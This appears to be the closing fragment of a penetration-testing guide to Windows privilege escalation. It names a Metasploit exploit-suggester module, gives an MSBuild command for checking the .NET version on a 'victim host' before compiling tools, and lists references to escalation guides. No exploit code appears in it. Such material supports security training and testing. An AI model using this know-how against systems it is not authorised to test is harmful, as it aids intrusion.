|
||
|
||
_multi/recon/local\_exploit\_suggestor_
|
||
|
||
You have to compile the project using the correct version of .NET ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). To see the installed version of .NET on the victim host you can do:
|
||
|
||
```
|
||
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
|
||
```
|
||
|
||
## Bibliography
|
||
|
||
[http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html)\
|
||
[http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738)\
|
||
[http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)\
|
||
[https://github.com/sagishahar/lpeworkshop](https://github.com/sagishahar/lpeworkshop)\
|
||
[https://www.youtube.com/watch?v=\_8xJaaQlpBo](https://www.youtube.com/watch?v=\_8xJaaQlpBo)\
|
||
[https://sushant747.gitbooks.io/total-oscp-guide/privilege\_escalation\_windows.html](https://sushant747.gitbooks.io/total-oscp-guide/privilege\_escalation\_windows.html)\
|
||
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)\
|
||
[https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)\
|
||
[https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md](https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md)\
|
||
[https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)\
|
||
[https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/](https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/)\
|
||
[https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)\
|
||
[http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)\
|
||
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections)
|